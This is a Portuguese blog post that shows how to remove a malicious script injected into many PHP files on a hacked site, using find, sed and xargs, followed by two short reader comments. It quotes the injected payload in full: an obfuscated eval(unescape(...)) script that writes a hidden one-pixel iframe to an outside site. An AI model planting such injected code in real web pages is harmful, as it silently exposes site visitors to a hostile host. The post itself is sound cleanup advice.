Buscar e substituir em muitos arquivos find e sed

Se você chegou até aqui é por que o seu site foi atacado! E você ainda não sabe a origem do ataque, e eu também não sei ! Pule para o passo 1
Ou porquê você quer aprender a buscar e substituir no Linux! – Pule para o passo 2

 

Passo 1 –

Mas aqui tenho uma solução para remover o script malicioso de todos os seus arquivos PHP sem ter que abrir um por um, com uma só linha de comando no Linux você procura em todos os arquivos por uma expressão regular e substitue o script por string vazia.

 

Passo 2 –

O script que aparece no final de todos os arquivos é o abaixo:

<script>eval(unescape(‘%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%63%61%74%74%77%77%2E%63%6F%6D%2F%3F%32%32%36%39%36%32%35%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E%27%29’));</script><!– uy7gdr5332rkmn –>
Usando o find com o sed, removemos o script de todos os arquivos:
  • find para achar todos os arquivos PHP:
    find . -iname “*.php”

  • o sed para substituir a parte do texto que bate com a expressão regular:
    sed -i ‘s/<script.*uy7gdr5332rkmn –>/ /g’

Agora é só usar os dois ao mesmo tempo com pipe e xargs e deixe a mágica fluir!
find . -iname ‘*.php’ | xargs sed -i ‘s/<script.*uy7gdr5332rkmn –>/ /g’

Por hoje é só!
Abraços

Comentários

2 respostas para “Buscar e substituir em muitos arquivos find e sed”

  1. Show de bola esse script, há tempos venho lendo seus artigos e são ótimos, e achei no google mais esse aqui que também é show de bola e o do rescrite com htacces.

    Vlw pelo tutoriais!

    1. Fico feliz que lhe tenham sido úteis!
      =)

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.